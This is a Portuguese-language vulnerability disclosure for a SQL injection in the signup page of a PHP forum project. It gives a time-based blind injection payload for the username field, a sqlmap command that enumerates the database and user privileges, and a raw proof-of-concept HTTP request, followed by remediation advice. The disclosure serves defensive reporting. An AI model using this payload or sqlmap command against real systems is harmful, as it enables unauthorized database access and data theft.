
CVE-poc
CVE-poc
Injeção SQL
Uma vulnerabilidade de injeção SQL foi identificada no arquivo /signuppost.php no projeto "Technical Forum Using PHP Source Code". A vulnerabilidade decorre do fato de que um atacante pode injetar código malicioso através do parâmetro de nome de usuário de login e usar esse parâmetro diretamente em uma consulta SQL sem validação. Isso permite que um atacante falsifique valores de entrada para manipular consultas SQL e realizar ações não autorizadas.
Um atacante pode explorar essa vulnerabilidade de injeção SQL para obter acesso não autorizado a um banco de dados, divulgar dados confidenciais, adulterar dados, controlar completamente o sistema ou até mesmo interromper serviços, representando uma séria ameaça à segurança do sistema e à continuidade dos negócios.
Nome da Vulnerabilidade: Parâmetro Username
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
Usar declarações preparadas e vinculação de parâmetros Declarações preparadas previnem a injeção SQL separando o código SQL dos dados de entrada do usuário. Ao usar declarações preparadas, os valores inseridos pelo usuário são tratados como dados puros e não são interpretados como código SQL.
Validação e Filtragem de Entrada Valide e filtre rigorosamente os dados de entrada do usuário para garantir que estejam em conformidade com o formato esperado.
Minimizar Privilégios de Usuário do Banco de Dados Garanta que as contas usadas para conectar ao banco de dados tenham os privilégios mínimos necessários. Evite usar contas com privilégios mais altos (por exemplo, "root" ou "admin") para operações do dia a dia.
Realizar auditorias de segurança regulares Realize auditorias regulares de código e segurança do sistema para identificar e corrigir potenciais vulnerabilidades de segurança em tempo hábil.
Seguindo essas recomendações, você pode melhorar muito a segurança de suas aplicações e reduzir os riscos associados a vulnerabilidades de injeção SQL.